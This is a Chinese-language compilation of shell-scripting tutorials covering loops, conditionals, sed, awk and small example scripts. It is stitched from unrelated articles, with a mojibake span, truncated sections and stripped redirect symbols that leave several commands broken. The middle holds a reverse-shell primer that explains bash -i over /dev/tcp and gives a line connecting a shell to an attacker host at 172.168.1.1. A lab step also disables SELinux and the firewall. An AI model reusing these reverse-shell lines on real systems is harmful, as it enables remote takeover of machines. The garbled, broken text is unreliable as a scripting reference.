shell基础,shell基础命令100个

shell基础（五）for循环及循环终止命令

例一：

效果如图：

开发shell脚本实现服务器临时配置多个IP，并且可以随时撤销配置的所有IP.IP的地址范围为：10.0.2.1~10.0.2.16，其中10.0.2.10不能配置

效果如下：

已知下面字符串是将RANDOM随机数采用md5sum加密后任意取出的连续10位结果，请破解这些字符串对应的md5sum前对的字符串的数字？

"4fe8bf20ed"

效果如图:

例一：

使用循环批量输出数组的元素

例二：通过竖向列举法定义数组元素批量打印

结果如图:

例三：

将命令结果作为数组元素定义并打印

结果如图：

利用for循环打印下面这句话不大于6的单词

I am lodboy teacher welcome to oldboy training class

检测多个网站地址是否正常

要求：

1）使用shell数组的方法实现，检测策略尽量使用模拟用户访问

2）每10秒进行一次全部检测，无法访问的输出报警

3）待检测的地址如下

效果如图：

关于如何学习shell脚本，该怎么写

1. Linux 脚本编写基础

1.1 语法基本介绍

1.1.1 开头

程序必须以下面的行开始（必须方在文件的第一行）：

#!/bin/sh

符号#!用来告诉系统它后面的参数是用来执行该文件的程序。在这个例子中我们使用/bin/sh来执行程序。

当编辑好脚本时，如果要执行该脚本，还必须使其可执行。

要使脚本可执行：

编译 chmod +x filename 这样才能用./filename 来运行

1.1.2 注释

在进行shell编程时，以#开头的句子表示注释，直到这一行的结束。我们真诚地建议您在程序中使用注释。

如果您使用了注释，那么即使相当长的时间内没有使用该脚本，您也能在很短的时间内明白该脚本的作用

及工作原理。

1.1.3 变量

在其他编程语言中您必须使用变量。在shell编程中，所有的变量都由字符串组成，并且您不需要对变量

进行声明。要赋值给一个变量，您可以这样写：

#!/bin/sh

#对变量赋值：

a="hello world"

# 现在打印变量a的内容：

echo "A is:"

echo $a

有时候变量名很容易与其他文字混淆，比如：

num=2

echo "this is the $numnd"

这并不会打印出"this is the 2nd"，而仅仅打印"this is the "，因为shell会去搜索变量numnd的值，

但是这个变量时没有值的。可以使用花括号来告诉shell我们要打印的是num变量：

num=2

echo "this is the ${num}nd"

这将打印： this is the 2nd

1.1.4 环境变量

由export关键字处理过的变量叫做环境变量。我们不对环境变量进行讨论，因为通常情况下仅仅在登录

脚本中使用环境变量。

1.1.5 Shell命令和流程控制

在shell脚本中可以使用三类命令：

1)Unix 命令:

虽然在shell脚本中可以使用任意的unix命令，但是还是由一些相对更常用的命令。这些命令通常是用来

进行文件和文字操作的。

常用命令语法及功能

echo "some text": 将文字内容打印在屏幕上

ls: 文件列表

wc –l filewc -w filewc -c file: 计算文件行数计算文件中的单词数计算文件中的字符数

cp sourcefile destfile: 文件拷贝

mv oldname newname : 重命名文件或移动文件

rm file: 删除文件

grep 'pattern' file: 在文件内搜索字符串比如：grep 'searchstring' file.txt

cut -b colnum file: 指定欲显示的文件内容范围，并将它们输出到标准输出设备比如：输出

每行第5个到第9个字符cut -b5-9 file.txt千万不要和cat命令混淆，

这是两个完全不同的命令

cat file.txt: 输出文件内容到标准输出设备（屏幕）上

file somefile: 得到文件类型

read var: 提示用户输入，并将输入赋值给变量

sort file.txt: 对file.txt文件中的行进行排序

uniq: 删除文本文件中出现的行列比如： sort file.txt | uniq

expr: 进行数学运算Example: add 2 and 3expr 2 "+" 3

find: 搜索文件比如：根据文件名搜索find . -name filename -print

tee: 将数据输出到标准输出设备(屏幕) 和文件比如：somecommand | tee outfile

basename file: 返回不包含路径的文件名比如： basename /bin/tux将返回 tux

dirname file: 返回文件所在路径比如：dirname /bin/tux将返回 /bin

head file: 打印文本文件开头几行

tail file : 打印文本文件末尾几行

sed: Sed是一个基本的查找替换程序。可以从标准输入（比如命令管道）读入文本，并将

结果输出到标准输出（屏幕）。该命令采用正则表达式（见参考）进行搜索。

不要和shell中的通配符相混淆。比如：将linuxfocus 替换为

LinuxFocus ：cat text.file | sed 's/linuxfocus/LinuxFocus/' newtext.file

awk: awk 用来从文本文件中提取字段。缺省地，字段分割符是空格，可以使用-F指定其他分割符。

cat file.txt | awk -F, '{print $1 "," $3 }'这里我们使用，作为字段分割符，同时打印

第一个和第三个字段。如果该文件内容如下： Adam Bor, 34, IndiaKerry Miller, 22, USA

命令输出结果为：Adam Bor, IndiaKerry Miller, USA

2) 概念: 管道, 重定向和 backtick

这些不是系统命令，但是他们真的很重要。

管道 (|) 将一个命令的输出作为另外一个命令的输入。

grep "hello" file.txt | wc -l

在file.txt中搜索包含有”hello”的行并计算其行数。

在这里grep命令的输出作为wc命令的输入。当然您可以使用多个命令。

重定向：将命令的结果输出到文件，而不是标准输出（屏幕）。

写入文件并覆盖旧文件

加到文件的尾部，保留旧文件内容。

反短斜线

使用反短斜线可以将一个命令的输出作为另外一个命令的一个命令行参数。

命令：

find . -mtime -1 -type f -print

用来查找过去24小时（-mtime –2则表示过去48小时）内修改过的文件。如果您

想将所有查找到的文件打一个包，则可以使用以下脚本：

#!/bin/sh

# The ticks are backticks (`) not normal quotes ('):

tar -zcvf lastmod.tar.gz `find . -mtime -1 -type f -print`

3) 流程控制

1.if

"if" 表达式 如果条件为真则执行then后面的部分：

if ....; then

....

elif ....; then

....

else

....

fi

大多数情况下，可以使用测试命令来对条件进行测试。比如可以比较字符串、判断文件

是否存在及是否可读等等…

通常用" [ ] "来表示条件测试。注意这里的空格很重要。要确保方括号的空格。

[ -f "somefile" ] ：判断是否是一个文件

[ -x "/bin/ls" ] ：判断/bin/ls是否存在并有可执行权限

[ -n "$var" ] ：判断$var变量是否有值

[ "$a" = "$b" ] ：判断$a和$b是否相等

执行man test可以查看所有测试表达式可以比较和判断的类型。

直接执行以下脚本：

#!/bin/sh

if [ "$SHELL" = "/bin/bash" ]; then

echo "your login shell is the bash (bourne again shell)"

else

echo "your login shell is not bash but $SHELL"

fi

变量$SHELL包含了登录shell的名称，我们和/bin/bash进行了比较。

快捷操作符

熟悉C语言的朋友可能会很喜欢下面的表达式：

[ -f "/etc/shadow" ] echo "This computer uses shadow passwors"

这里 就是一个快捷操作符，如果左边的表达式为真则执行右边的语句。

您也可以认为是逻辑运算中的与操作。上例中表示如果/etc/shadow文件存在

则打印” This computer uses shadow passwors”。同样或操作(||)在shell编程中也是

可用的。这里有个例子：

#!/bin/sh

mailfolder=/var/spool/mail/james

[ -r "$mailfolder" ]' '{ echo "Can not read $mailfolder" ; exit 1; }

echo "$mailfolder has mail from:"

grep "^From " $mailfolder

该脚本首先判断mailfolder是否可读。如果可读则打印该文件中的"From" 一行。如果不可读

则或操作生效，打印错误信息后脚本退出。这里有个问题，那就是我们必须有两个命令：

-打印错误信息

-退出程序

我们使用花括号以匿名函数的形式将两个命令放到一起作为一个命令使用。一般函数将在下文提及。

不用与和或操作符，我们也可以用if表达式作任何事情，但是使用与或操作符会更便利很多。

2.case

case :表达式可以用来匹配一个给定的字符串，而不是数字。

case ... in

...) do something here ;;

esac

让我们看一个例子。 file命令可以辨别出一个给定文件的文件类型，比如：

file lf.gz

这将返回：

lf.gz: gzip compressed data, deflated, original filename,

last modified: Mon Aug 27 23:09:18 2001, os: Unix

我们利用这一点写了一个叫做smartzip的脚本，该脚本可以自动解压bzip2, gzip 和zip 类型的压缩文件：

#!/bin/sh

ftype=`file "$1"`

case "$ftype" in

"$1: Zip archive"*)

unzip "$1" ;;

"$1: gzip compressed"*)

gunzip "$1" ;;

"$1: bzip2 compressed"*)

bunzip2 "$1" ;;

*) echo "File $1 can not be uncompressed with smartzip";;

esac

您可能注意到我们在这里使用了一个特殊的变量$1。该变量包含了传递给该程序的第一个参数值。

也就是说，当我们运行：

smartzip articles.zip

$1 就是字符串 articles.zip

3. selsect

select 表达式是一种bash的扩展应用，尤其擅长于交互式使用。用户可以从一组不同的值中进行选择。

select var in ... ; do

break

done

.... now $var can be used ....

下面是一个例子：

#!/bin/sh

echo "What is your favourite OS?"

select var in "Linux" "Gnu Hurd" "Free BSD" "Other"; do

break

done

echo "You have selected $var"

下面是该脚本运行的结果：

What is your favourite OS?

1) Linux

2) Gnu Hurd

3) Free BSD

4) Other

#? 1

You have selected Linux

4.loop

loop表达式：

while ...; do

....

done

while-loop 将运行直到表达式测试为真。will run while the expression that we test for is true.

关键字"break" 用来跳出循环。而关键字”continue”用来不执行余下的部分而直接跳到下一个循环。

for-loop表达式查看一个字符串列表 (字符串用空格分隔) 然后将其赋给一个变量：

for var in ....; do

....

done

在下面的例子中，将分别打印ABC到屏幕上：

#!/bin/sh

for var in A B C ; do

echo "var is $var"

done

下面是一个更为有用的脚本showrpm，其功能是打印一些RPM包的统计信息：

#!/bin/sh

# list a content summary of a number of RPM packages

# USAGE: showrpm rpmfile1 rpmfile2 ...

# EXAMPLE: showrpm /cdrom/RedHat/RPMS/*.rpm

for rpmpackage in $*; do

if [ -r "$rpmpackage" ];then

echo "=============== $rpmpackage =============="

rpm -qi -p $rpmpackage

else

echo "ERROR: cannot read file $rpmpackage"

fi

done

这里出现了第二个特殊的变量$*，该变量包含了所有输入的命令行参数值。

如果您运行showrpm openssh.rpm w3m.rpm webgrep.rpm

此时 $* 包含了 3 个字符串，即openssh.rpm, w3m.rpm and webgrep.rpm.

5. 引号

在向程序传递任何参数之前，程序会扩展通配符和变量。这里所谓扩展的意思是程序会把通配符

（比如*）替换成合适的文件名，它变量替换成变量值。为了防 止程序作这种替换，您可以使用

引号：让我们来看一个例子，假设在当前目录下有一些文件，两个jpg文件， mail.jpg 和tux.jpg。

1.2 编译SHELL脚本

#ch#!/bin/sh mod +x filename

cho *.jpg ∪缓螅 梢酝ü 淙耄?./filename 来执行您的脚本。

这将打印出"mail.jpg tux.jpg"的结果。

引号 (单引号和双引号) 将防止这种通配符扩展：

#!/bin/sh

echo "*.jpg"

echo '*.jpg'

这将打印"*.jpg" 两次。

单引号更严格一些。它可以防止任何变量扩展。双引号可以防止通配符扩展但允许变量扩展。

#!/bin/sh

echo $SHELL

echo "$SHELL"

echo '$SHELL'

运行结果为：

/bin/bash

/bin/bash

$SHELL

最后，还有一种防止这种扩展的方法，那就是使用转义字符——反斜杆：

echo *.jpg

echo $SHELL

这将输出：

*.jpg

$SHELL

6. Here documents

当要将几行文字传递给一个命令时，here documents（译者注：目前还没有见到过对该词适合的翻译）

一种不错的方法。对每个脚本写一段帮助性的文字是很有用的，此时如果我们四有那个 here documents

就不必用echo函数一行行输出。 一个 "Here document" 以 shift by 2

--) shift;break;; # end of options

-*) echo "error: no such option $1. -h for help";exit 1;;

*) break;;

esac

done

echo "opt_f is $opt_f"

echo "opt_l is $opt_l"

echo "first arg is $1"

echo "2nd arg is $2"

您可以这样运行该脚本：

cmdparser -l hello -f -- -somefile1 somefile2

返回的结果是：

opt_f is 1

opt_l is hello

first arg is -somefile1

2nd arg is somefile2

这个脚本是如何工作的呢？脚本首先在所有输入命令行参数中进行循环，将输入参数

与case表达式进行比较，如果匹配则设置一个变量并且移除该参数。根据unix系统的惯例，

首先输入的应该是包含减号的参数.

第2部分 实例

现在我们来讨论编写一个脚本的一般步骤。任何优秀的脚本都应该具有帮助和输入参数。并且写一个伪脚本（framework.sh），该脚本包含了大多数脚本都需要的框架结构，是一个非常不错的主意。这时候，在写一个新的脚本时我们只需要执行一下copy命令：

cp framework.sh myscript

然后再插入自己的函数。

让我们再看两个例子：

二进制到十进制的转换

脚本 b2d 将二进制数 (比如 1101) 转换为相应的十进制数。这也是一个用expr命令进行数学运算的例子：

#!/bin/sh

# vim: set sw=4 ts=4 et:

help()

{

cat

b2h -- convert binary to decimal

USAGE: b2h [-h] binarynum

OPTIONS: -h help text

EXAMPLE: b2h 111010

will return 58

HELP

exit 0

}

error()

{

# print an error and exit

echo "$1"

exit 1

}

lastchar()

{

# return the last character of a string in $rval

if [ -z "$1" ]; then

# empty string

rval=""

return

fi

# wc puts some space behind the output this is why we need sed:

numofchar=`echo -n "$1" | wc -c | sed 's/ //g' `

# now cut out the last char

rval=`echo -n "$1" | cut -b $numofchar`

}

chop()

{

# remove the last character in string and return it in $rval

if [ -z "$1" ]; then

# empty string

rval=""

return

fi

# wc puts some space behind the output this is why we need sed:

numofchar=`echo -n "$1" | wc -c | sed 's/ //g' `

if [ "$numofchar" = "1" ]; then

# only one char in string

rval=""

return

fi

numofcharminus1=`expr $numofchar "-" 1`

# now cut all but the last char:

rval=`echo -n "$1" | cut -b 0-${numofcharminus1}`

}

while [ -n "$1" ]; do

case $1 in

-h) help;shift 1;; # function help is called

--) shift;break;; # end of options

-*) error "error: no such option $1. -h for help";;

*) break;;

esac

done

# The main program

sum=0

weight=1

# one arg must be given:

[ -z "$1" ] help

binnum="$1"

binnumorig="$1"

while [ -n "$binnum" ]; do

lastchar "$binnum"

if [ "$rval" = "1" ]; then

sum=`expr "$weight" "+" "$sum"`

fi

# remove the last position in $binnum

chop "$binnum"

binnum="$rval"

weight=`expr "$weight" "*" 2`

done

echo "binary $binnumorig is decimal $sum"

该脚本使用的算法是利用十进制和二进制数权值 (1,2,4,8,16,..)，比如二进制"10"可以这样转换成十进制：

0 * 1 + 1 * 2 = 2

为了得到单个的二进制数我们是用了lastchar 函数。该函数使用wc –c计算字符个数，然后使用cut命令取出末尾一个字符。Chop函数的功能则是移除最后一个字符。

文件循环程序

或许您是想将所有发出的邮件保存到一个文件中的人们中的一员，但是在过了几个月

以后，这个文件可能会变得很大以至于使对该文件的访问速度变慢。下面的 脚本rotatefile

可以解决这个问题。这个脚本可以重命名邮件保存文件（假设为outmail）为outmail.1，

而对于outmail.1就变成了outmail.2 等等等等...

反弹shell基础

将这句话拆开来看， bash -i ， ， /dev/tcp/ ， 01 ，有三个知识点。

（1） bash -i 是打开一个交互的bash

（2） /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。

（3） 和 01 这两个涉及到Linux文件描述符和重定向。此处的 是取地址符

（1）文件描述符

Linux启动时会默认打开三个文件描述符（实现文件读写操作），Linux把键盘、显示器等设备也当做文件用文件描述符进行控制，如果要修改默认设备就需要进行重定向。

（2）重定向

输入的重定向包括， 和 ，输出的重定向包括， 和 ， n file 代表将文件描述符 n 重定向到file指代的文件（以只读方式打开）,如果n省略就是0（标准输入）。同理如果是输出的重定向， n file ，n省略则默认是1。

错误输出的重定向有三种形式

其中， 和 是一个意思，都是将标准错误输出合并到标准输出中。 21 和 file 可以用如下过程图表示

需要注意的是，上述输入输出重定向，将输入和输出绑定到文件或者设备只对该条指令有效，如果想要一直有效，就需要添加exec指令 exec n / file/n

（3）复制

与之形似的是文件描述符的复制 nm / nm ，这两个都是将文件描述符 n 复制到 m ，两者的区别是，前者是以只读的形式打开，后者是以写的形式打开，因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 目的是区分以数字为名字的文件和文件描述符的数值，如果没有 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件，而不是另一个文件描述符。

此时再来看这句命令，可与理解为，创建一个可交互的bash和一个到172.168.1.1:80的TCP链接，然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。

首先，反弹shell可以理解为，攻击者监听在TCP/UDP端口，被控制端的请求被转发到该端口，可以控制其输入输出。一般攻击者攻击了一台机器，并用自己的主机去连接该机器的端口，这是一种“正向连接”，远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接，或者有防火墙等限制，再或者攻击者需要进行实时控制，正向连接是无法满足需要的。所以有了“反向连接”，即让被攻击的主机主动去连接攻击者的服务器。

所以我们还可以从反向连接的角度来理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ，将输出描述符连接到了端口，该端口可接收到我们的输出，即我们正向连接了被攻击者的机器，但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显，需要将被攻击机器的输入描述符连接到我们监听的端口上。

也就是说如果我们想要看到回显，除了先将输出描述符连接到端口上，还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同， 01 即可解决。这就形成了一个回路，实现了远程交互式shell的功能。

不过这样的一条指令还不够完善，因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令，那么解决办法就是将错误输出和标准输出进行混合，即将 bash -i 换为 bash -i

Bash相关shell主要有以下几种：

刚才详细讲的是第一种bash shell，第二种是将 这种错误输出的混合方式改成了 21 ，2代表错误输出，1代表标准输出，2指向了1，即输出混合了。文件描述符的复制 nm / nm 两种虽然读写不同但是对于shell的效果是等价的，即和 01 效果相同。所以第二种就是第一种的变种。第四种同理，输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196，道理类似。

对于第三种bash shell，exec已经在前面提到过可以持续连接，后面的关键点如下：

从文件中依次读取每一行，将其赋值给 line 变量（其他也可），之后在循环中对line进行操作。这里不再从文件中读取，而是通过管道符对攻击者机器上输入的命令进行依次执行，并且将标准输出和标准错误输出都重定向到了文件描述符5，也就是攻击机上，实现交互式shell的功能。

另外，本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/，按照tcp的方式直接改成udp就行。

sh -i /dev/udp/172.168.1.1/80 01

除了bash还有很多其他借用第三方工具（nc、telnet、socat、xterm）或使用脚本语言（python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell）反弹shell的方式，这里就不一一列举了，原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集，将近80条，写了BashShell.py，就是个简单的查询shell的工具，有需要的下方留言

Shell基础脚本-运算符优先级

在脚本中，运算执行的顺序被称为优先级: 高优先级的操作会比低优先级的操作先执行

表-1. 运算符优先级(从高到低)

实际上，你只需要记住以下规则就可以了:

现在，让我们利用运算符优先级的知识来分析一下Fedora Core Linux中的/etc/init.d/functions文件。

为了避免在复杂比较运算中的错误，可以把运算分散到几个括号结构中

LINUX快速入门第八章：Shell基础

我们平时所说的 Shell 可以理解为 Linux 系统提供给用户的使用界面。Shell 为用户提供了输入命令和参数并可得到命令执行结果的环境。当一个用户登录 Linux 之后，系统初始化程序 init 就根据 /etc/passwd 文件中的设定，为每个用户运行一个被称为 Shell（外壳）的程序。

确切地说，Shell 是一个命令行解释器，它为用户提供了一个向 Linux 内核发送请求以便运行程序的界面系统级程序，用户可以用 Shell 来启动、挂起、停止甚至编写一些程序。

Shell 处在内核与外层应用程序之间，起着协调用户与系统的一致性、在用户与系统之间进行交互的作用。图 1 是 Linux 系统层次结构图，Shell 接收用户输入的命令，并把用户的命令从类似 abed 的 ASCII 码解释为类似 0101 的机器语言，然后把命令提交到系统内核处理；当内核处理完毕之后，把处理结果再通过 Shell 返回给用户。

换句话说：

Shell 是一个用 C 语言编写的程序，它是用户使用 Linux 的桥梁。Shell 既是一种命令语言，又是一种程序设计语言。

Shell 是指一种应用程序，这个应用程序提供了一个界面，用户通过这个界面访问操作系统内核的服务。

Ken Thompson 的 sh 是第一种 Unix Shell，Windows Explorer 是一个典型的图形界面 Shell。

Shell 与其他 Linux 命令一样，都是实用程序，但它们之间还是有区别的。一旦用户注册到系统后，Shell 就被系统装入内存并一直运行到用户退出系统为止；而一般命令仅当被调用时，才由系统装入内存执行。

与一般命令相比，Shell 除了是一个命令行解释器，同时还是一门功能强大的编程语言，易编写，易调试，灵活性较强。作为一种命令级语言，Shell 是解释性的，组合功能很强，与操作系统有密切的关系，可以在 Shell 脚本中直接使用系统命令。大多数 Linux 系统的启动相关文件（一般在 /etc/rc.d 目录下）都是使用 Shell 脚本编写的。

同传统的编程语言一样，Shell 提供了很多特性，这些特性可以使 Shell 脚本编程更为有用，如数据变量、参数传递、判断、流程控制、数据输入和输出、子程序及中断处理等。

说了这么多，其实我们在 Linux 中操作的命令行界面就是 Linux 的 Shell，也就是 Bash，但是我们的图形界面是 Shell 吗？其实从广义讲，图形界面当然也是 Shell，因为它同样用来接收用户的操作，并传递到内核进行处理。不过，这里的 Shell 主要指的是 Bash。

Shell 脚本

Shell 脚本（shell script），是一种为 shell 编写的脚本程序。

业界所说的 shell 通常都是指 shell 脚本，但读者朋友要知道，shell 和 shell script 是两个不同的概念。

由于习惯的原因，简洁起见，本文出现的 "shell编程" 都是指 shell 脚本编程，不是指开发 shell 自身。

Shell的分类

目前 Shell 的版本有很多种，如 Bourne Shell、C Shell、Bash、ksh、tcsh 等，它们各有特点，下面简要介绍一下。

最重要的 Shell 是 Bourne Shell，这个命名是为了纪念此 Shell 的发明者 Steven Bourne。从 1979 年起，UNIX 就开始使用 Boume Shell。Bourne Shell 的主文件名为 sh，开发人员便以 sh 作为 Bourne Shell 的主要识别名称。

虽然 Linux 与 UNIX 一样，可以支持多种 Shell，但 Boume Shell 的重要地位至今仍然没有改变，许多 UNIX 系统中仍然使用 sh 作为重要的管理工具。它的工作从开机到关机，几乎无所不包。在 Linux 中，用户 Shell 主要是 Bash，但在启动脚本、编辑等很多工作中仍然使用 Bourne Shell。

C Shell 是广为流行的 Shell 变种。C Shell 主要在 BSD 版的 UNIX 系统中使用，发明者是柏克莱大学的 Bill Joy。C Shell 因为其语法和 C 语言类似而得名，这也使得 UNIX 的系统工程师在学习 C Shell 时感到相当方便。

Bourne Shell 和 C Shell 形成了 Shell 的两大主流派别，后来的变种大都吸取这两种 Shell 的特点，如 Korn、 tcsh 及 Bash。

Bash Shell 是 GNU 计划的重要工具之一，也是 GNU 系统中标准的 Shell。Bash 与 sh 兼容，所以许多早期开发出来的 Bourne Shell 程序都可以继续在 Bash 中运行。现在使用的 Linux 就使用 Bash 作为用户的基本 Shell。

Bash 于 1988 年发布，并在 1995-1996年推出Bash 2.0。在这之前，广为使用的版本是1.14，Bash 2.0增加了许多新的功能，以及具备更好的兼容性。表 2 中详细列出了各版本的具体情况。

注意，Shell 的两种主要语法类型有 Bourne 和 C，这两种语法彼此不兼容。Boume 家族主要包括 sh、ksh、Bash、psh、zsh；C 家族主要包括 csh、tcsh（Bash 和 zsh 在不同程序上支持 csh 的语法）。

本章讲述的脚本编程就是在 Bash 环境中进行的。不过，在 Linux 中除了可以支持 Bash，还可以支持很多其他的 Shell。我们可以通过 /etc/shells 文件来査询 Linux 支持的 Shell。命令如下：

在 Linux 中，这些 Shell 是可以任意切换的，命令如下：

用户信息文件 /etc/passwd 的最后一列就是这个用户的登录 Shell。命令如下：

大家可以看到，root 用户和其他可以登录系统的普通用户的登录 Shell 都是 /bin/bash，也就是 Linux 的标准 Shell，所以这些用户登录之后可以执行权限允许范围内的所有命令。不过，所有的系统用户（伪用户）因为登录 Shell 是 /sbin/ndogin，所以不能登录系统。

笔记：

sh/bash/csh/Tcsh/ksh/pdksh等shell的区别

shell基础应用（五）

一，正则表达式

w匹配数字、字母、下划线

egrep "roow" user //找roo后面是数字、字母、下划线的字符串

s 匹配空格、tab键

egrep "roos" user //找roo后面是1个空格或者tab键打出来的空格的字符串，如果没有

就不输出

二，sed其他指令

a行下追加 i行上添加 c替换整行

sed 'a 666' user //所有行的下面追加666

sed '1a 666' user //第1行的下面追加666

sed '/^bin/a 666' user //在以bin开头的行的下面追加666

sed 'i 666' user //所有行的上面添加666

sed '5i 666' user //第5行的上面添加666

sed '$i 666' user //最后1行的上面添加666

sed 'c 666' user //所有行都替换成666

sed '1c 666' user //替换第1行为666

---------------------------------------------------------

三，awk

可以实现精确搜索并输出 ，逐行处理

1，前置指令 | awk 选项 条件 指令

2，awk 选项 条件 指令 被处理文档

选项 -F 定义分隔符

指令 print

条件 /字符串/

内置变量 $1第一列 $2第二列 $3第三列 ...

$0 所有列 NR行号 NF 列号

[root@proxy opt]# cat abc.txt //准备素材

hello the world

welcome to beijing

awk '{print}' abc.txt //输出所有

awk '/to/{print}' abc.txt //输出有to的那行

awk '{print $2}' abc.txt //输出所有行的第2列

awk '/to/{print $1}' abc.txt //输出有to的那行的第1列

awk '{print $0}' abc.txt //输出所有行所有列

awk '{print $0,$1}' abc.txt //输出所有行所有列和第1列

awk '{print NR}' abc.txt //输出所有行的行号

awk '{print NR,$0}' abc.txt //输出所有行的行号，所有列

awk '{print NR,NF}' abc.txt //输出所有行的行号，列号(有几列)

awk '/^bin/{print NR}' user //找以bin开头的行，显示该行的行号

awk '/^bin/{print NR,$0}' user //找以bin开头的行，显示该行的

行号，所有列

awk '{print NF}' user //输出所有行的列号（每行有几列）

awk -F: '{print $1}' user //文档中如果没有空格，可以用F修改分

隔符

awk -F: '{print $1,$6}' user //使用冒号作为列的分隔符，显示

第1、6列

awk -F: '{print $1" 的家目录是 "$6}' user //还可以输出常量，加

双引号即可

awk -F: '{print $1" 的解释器是 "$7}' user

收集根分区剩余容量

df -h | awk '//$/{print $4}' //使用df -h 作为前置指令交给awk处理

找到以/结尾的行，并输出第4列

df -h | awk '//$/{print "根分区剩余容量是"$4}' //然后加常量输出

收集网卡流量信息

ifconfig eth0 | awk '/RX p/{print "eth0网卡接收的数量量是"$5}'

ifconfig eth0 | awk '/TX p/{print "eth0网卡发送的数量量是"$5}'

------------------------------------------------------------

四，awk的条件

1，/字符串/ 还可以使用正则 ~ 包含 !~不包含

awk -F: '$6~/root/{print}' user //输出第6列包含root的行

awk -F: '$6~/bin/{print}' user //输出第6列包含bin的行

awk -F: '$6!~/bin/{print}' user //输出第6列不包含bin的行

2，使用数字或者字符串

== != = =

awk -F: '$33{print}' user //输出第3列小于3的行

awk -F: '$3=3{print}' user //输出第3列小于等于3的行

awk -F: 'NR==2{print}' user //输出第2行

awk -F: 'NR2{print}' user //输出行号大于2的行

3，逻辑组合 并且 ||或者

awk -F: 'NR==2||NR==4{print}' user //找行号是2或者4的行

awk -F: 'NR==2||NR==40{print}' user //如果只有一个条件满足就显示一个

awk -F: '$7~/bash/$3=500{print}' user //找第7列包含bash并且第3列

小于等于500的行

awk 'NR==2NR==4{print}' user //找行号既是2又是4的行，不存在，无输出

awk -F: '$7~/bash/NR=3{print}' user //找第7列包含bash并且行号是1~3的

awk -F: '$7~/bash/||NR=3{print}' user //找第7列包含bash或者行号是1~3的

awk -F: '$1~/root/' user //找第1列包含root的行

如果有用户叫root6，也会搜到，比较宽松的搜索方式，如果

任务就是{print}的话可以省略不写

awk -F: '$1=="root"' user //找第1列完全等于root的行

多一个字符少一个字符都不行，比较严格的搜索方式

4，运算

awk 'NR%2==0{print NR,$0}' user //在条件中使用运算

，找到将行号除以2余数等于0的行，然后输出该行的

行号和所有列，相当于输出偶数行

-----------------------------------------------------

五，awk处理时机，可以执行额外任务

BEGIN任务 执行1次，读取文档之前执行

逐行任务 执行n次，读取文档时执行

END任务 执行1次，读取文档之后执行

BEGIN{ 任务1 }{ 任务2 }END{ 任务3 }

awk -F: 'BEGIN{print "ok"}{print $1}END{print "ok"}' user

awk 'BEGIN{print NR}{print NR}END{print NR}' user

利用awk处理时机，输出下列内容

awk 'BEGIN{print "User UID Home"}' //第1步输出表头信息

awk -F: '{print $1" "$3" "$6}' user //第2步输出内容

awk 'END{print "总计"NR"行" }' user //第3步输出结尾

awk -F: 'BEGIN{print "User UID Home"}{print $1" "$3" "$6}END{print "总计"NR"行"}' user //合在一起写

---------------------------------------------------------------------------

使用awk统计网站访问量

setenforce 0 //关闭selinux

systemctl stop firewalld //关闭防火墙

systemctl restart httpd //开启网站服务

使用浏览器多访问几次网站，包括本机用curl

curl 192.168.4.7:82 //如果端口没改过就不用敲

awk '{print $1}' /var/log/httpd/access_log //初步统计，不完美

六，使用awk数组+for循环实现高级搜索

数组 相当于可以存储多个值的特殊变量

数组名[下标]=下标对应的值

awk 'BEGIN{a[1]=10;a[2]=20;print a[2],a[1]}' //使用awk测试数组，首先

创建数组a，下标1对应值是10，下标2对应值是20，然后输出下标是2与

下标是1的值

awk 'BEGIN{a["abc"]="abcabc";a["xyz"]="xyzxyz";print a["xyz"]}' //数组的下标

和值都可以不是数字，测试时加双引号即可

以上信息是手工输入，实际情况中通常是从文档收集

准备一个文档，里面有6行，每行分别是abc、xyz、abc、opq、xyz、abc 然后

按照awk逐行处理的工作特点使用awk '{a[$1]++}' shu.txt 走完每一行得到下列结果

但不会输出到屏幕

a[$1]++ a[abc]++ a[abc]=1

a[$1]++ a[xyz]++ a[xyz]=1

a[$1]++ a[abc]++ a[abc]=2

a[$1]++ a[opq]++ a[opq]=1

a[$1]++ a[xyz]++ a[xyz]=2

a[$1]++ a[abc]++ a[abc]=3

如果要输出到屏幕可以使用命令awk '{a[$1]++}END{print a[abc]}' shu.txt

----------------------

根据上述操作得知使用数组可以收集信息，但收集完了之后查看确不方便，可以用for循环实现。方法如下：

for(变量名 in 数组名){print 变量名} //这个格式可以查看数组的所有下标

awk '{a[$1]++}END{for(i in a){print i,a[i]}}' shu.txt //使用逐行任务与数组

收集文档shu.txt中的信息，然后在END任务中使用for循环显示所有

数组a的下标与值

awk '{ip[$1]++}END{for(i in ip){print i,ip[i]}}' /var/log/httpd/ac

cess_log //将上述的文件替换成网站的日志，就可以

最终用来查看日志得到可以得到哪个ip来访以及来访的次数

awk '{ip[$1]++}END{for(i in ip){print i,ip[i]}}' /var/log/httpd/ac

cess_log | sort -nr -k 2 //使用sort命令增加排序

功能，-n是以数字形式排序，-r是降序, -k是指定为

第几列排序

----------------------------------------------------------------------------

/var/log/secure是安全日志，如果有人登陆时输入错误密码的话

信息会记录下来，这种信息可以用awk抓取出来，方法如下：

awk '/Failed password for root/{ip[$11]++}END{for(i in ip){print i,ip[i]}}'

/var/log/secure //统计安全日志中访问root账户密码输入错误

的ip地址与次数

-----------------------------------------------------------------------------

编写脚本，可以查看系统的各种参数信息

#!/bin/bash

while :

do

clear

free -h | awk '/^Mem:/{print "剩余内存容量是"$4}'

df -h | awk '//$/{print "根分区剩余容量是"$4}'

awk 'END{print "用户总数是"NR"个"}' /etc/passwd

who | awk 'END{print "登录用户数量是"NR"个"}'

uptime | awk '{print "cpu的15分钟平均负载是"$NF}'

rpm -qa | awk 'END{print "安装的软件包数量是"NR"个"}'

